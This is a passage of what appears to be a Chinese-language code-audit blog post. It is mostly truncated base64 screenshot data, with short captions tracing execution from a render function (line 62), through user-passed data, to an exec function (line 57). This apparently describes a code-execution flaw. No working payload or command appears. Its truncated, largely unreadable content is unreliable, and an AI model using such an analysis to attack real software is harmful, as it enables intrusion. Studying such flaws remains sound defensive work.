d0b5Hlcc3w2KYzr26cP0dHRJCaa/jHEiuSUKt+srTzdWpotW7di7F9RYQE3TL6hToWvHXvcffzx0yeyf98+9h85Q7Z7d6YvfofnJhsf59mi9Gi2bd3C5gPx9S5d6PSnWfbq7fSqd0pCCCFM0Th44Nt9AYlH/lfR8LRzdMU9uBdebQbh6BEMgDYvicQj/8O3+wI0Dh5mUvSh2+hJ9Aq6AoWvo+Cxj3DP+LBKU/SUlpaiUxsgM1VHaWkJpQ2RdjNj61hTHN3w9PTG09Mbvy4jmDC0O35lf3u6Oll4BORDt9FT6BNWtnyLbgyd8zhPPTqZIMXSwfKh2+hpTJk7gXZGlnUZOI1Zk6cxqL2zhXQuqxGTShv6TR5OmC0HTfHowtBxffG3vGRVEsMVNE4+eES8yNmtyyo6au2dPfEJG0FA58m4+IQBUJR1gbNbl+ER8SIaJx+L6aoqdJ3yMDfNfoSp17nXqkwh09/g8VldKyVWSklJKaX6WiVjQiA9b7iViNY154QOm8f1PSxvW51492PszKEEA2g6ct3syXSw1bmglFCi1WKT3VNPPgGt8fCpebH08AnCJ8DITrcxjbMPvl3mcOnI9xUdtcbr5GSSon7Gt8staJzNH3PVIYyR97/Aw7OH0dpNRe/ahkF3LOHpu4bgg20qkZrX8DqoXMfaur6VOrOC7duYBqoKHUbfwuTJtzG2r4vF5Str2DZg1baFd3An+s/8F089OZMw+8YLCJucM9VJnFewc/QguM8CkqyI86Qj/yO4zwLsHM3HueoQxoRHXuDJW4fR1t1Qlw5ZuIRX7h+Cn43q0pCJj7D4hjCbpGU6TR96jJlC/zBvPDy98WnZhWFzn+Dlp6YQZtfQwVM178B2EYy/4wleWrKIoa3L3rxR9eh0DXQPiJH90VD5lZ2PDbUdzUnTut+0sVq0V+pd70sdX8HWMaWq4D/8EZ76542EBygUlnrRbvR9PPmvGYQ0aFvB1u0d65755Tm2ZezN1xOqVsvYezCTZvXGs1Bn47LVrZzQQO2lZuypJx/nqScfb+xiAODnH0B8fJzZZQ7k5PLS+VhOFxRSpNdzuqCQl87HWv29WgDNli1bMPbveEwMnl6e9d0O613cwscffsAH/3mLFx55gdVJTvScMok2alvGzJvPpL6dGDx1Pg/cN562ZSeXW7uhTLtlEXfPv4Line truncated
|
||||
然后到跟进62行的render函数</p>
|
||||
<p blockindex=20><img src=data:image/png;base64,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 truncated
|
||||
其实data就是我们传递进去的数据</p>
|
||||
<p blockindex=21><img src=data:image/png;base64,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 truncated
|
||||
然后是跟进57行 走到了exec函数</p>
|
||||
<p blockindex=22><img src="data:image/png;base64,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